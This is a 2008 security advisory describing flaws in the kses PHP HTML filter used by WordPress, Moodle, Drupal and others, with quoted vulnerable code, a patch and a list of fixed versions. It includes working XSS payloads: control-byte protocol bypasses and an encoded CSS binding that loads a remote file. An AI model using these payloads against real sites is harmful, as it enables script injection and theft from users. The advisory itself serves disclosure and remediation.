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Vulnerabilities in kses-based HTML filters
From: lpilorz () mailinator com
Date: Wed, 2 Apr 2008 23:13:36 +0200

Vulnerabilities in kses-based HTML filters
==========================================

During internal code review performed by Allegro.pl, some weaknesses 
were discovered in kses - PHP HTML/XHTML filter. HTML filters using or 
based on kses are part of many popular projects, including WordPress, 
Moodle, Drupal, eGroupWare, Dokeos, PHP-Nuke, Geeklog and others. Issues 
found range from cross-site scripting to code execution, depending on 
implementation. 

Kses filters HTML by whitelisting allowed tags, attributes, and 
protocols in attribute values. Additionally, it normalizes HTML entities 
and performs a few blacklist checks. This approach makes it much more 
reliable as a defence against XSS than a typical blacklist filter. Kses 
is no longer mantained since 2005, and multiple projects that use it 
developed their own versions. In most cases, these implementations share 
the same vulnerabilites.


Quote from kses code:
function kses_bad_protocol_once($string, $allowed_protocols)
###############################################################################
# This function searches for URL protocols at the beginning of $string, while
# handling whitespace and HTML entities.
###############################################################################
{
  return preg_replace('/^((&[^;]*;|[\sA-Za-z0-9])*)'.
                      '(:|:|&#[Xx]3[Aa];)\s*/e',
                      'kses_bad_protocol_once2("\\1", $allowed_protocols)',
                      $string);
} # function kses_bad_protocol_once


1. PHP code execution
This vulnerability is caused by unsafe preg_replace() with "e" modifier 
and backreference between double quotes. It's exploitable if kses 
attribute cleaning functions are called without previous entities 
normalization. This is not a standard way of using kses, but such 
implementations exist in widely deployed software. 
Example:
--- stripped ---

2. Cross site scripting - protocol checks bypass
This vulnerability is caused by insufficient protocol checks in 
attribute values. By injecting byte 08 (Firefox) or 0B (Opera) at the 
beginning of attribute value, it is possible to bypass 
kses_bad_protocol_once2() call. 
Examples (partially urlencoded for readability):
(Opera) <img src="%0Bjavascript:alert(document.domain)">
(Firefox) <a href='%08data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2B'>test</a>

3. Cross site scripting - allowed attributes
In some implementations, style attribute is allowed. As kses is not 
designed to deal with XSS inside CSS, such configurations are 
vulnerable, unless additional checks are added. In reality, code added 
for cleaning CSS usually does not solve this problem in sufficient 
degree. 
Example:
(Firefox) <a style=" ;\2d\6d\6f&#92;7a\2d\62\69\6e\64\69\6e\67: 
\75\72\6c(&#92;68\74\74\70\3a&#92;2F\2F\68\61\2E&#92;63\6B\65\72\73\2E\6F&#92;72\67\2F\78\73\73\6D\6F\7A\2E\78\6D\6C\23\78\73&#92;73)"
 href="http://example.com";>test</a>


Solution
========

Sample quick-fix for 1 and (assuming previous entities normalization) 2:
function kses_bad_protocol_once($string, $allowed_protocols)
###############################################################################
# This function searches for URL protocols at the beginning of $string, while
# handling whitespace and HTML entities.
###############################################################################
{
  $string2 = preg_split('/:|&#58;|&#x3a;/i', $string, 2);
  if(isset($string2[1]) && !preg_match('%/\?%',$string2[0]))
  {
    $string = kses_bad_protocol_once2($string2[0],$allowed_protocols)
              .trim($string2[1]);
  }
  return $string;
} # function kses_bad_protocol_once

Another option would be to change HTML filter and use some actively 
supported library. There are two such filters with kses compatibility 
mode:
- HTML Purifier, http://htmlpurifier.org/
basic kses compatibility wrapper available at 
http://htmlpurifier.org/svnroot/htmlpurifier/trunk/library/HTMLPurifier.kses.php
- htmLawed, 
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/index.php 

HTML Purifier has an advantage of proper CSS validation and secure 
default settings, so it's a preferred solution. 


Fixed software
==============
Dokeos 1.8.4 SP3, http://www.dokeos.com/download/dokeos-1.8.4-SP3.zip
eGroupWare 1.4.003, http://www.egroupware.org/download
WordPress 2.5, http://wordpress.org/download/
Moodle 1.9, http://download.moodle.org/


Regards,
Ɓukasz Pilorz, Allegro.pl

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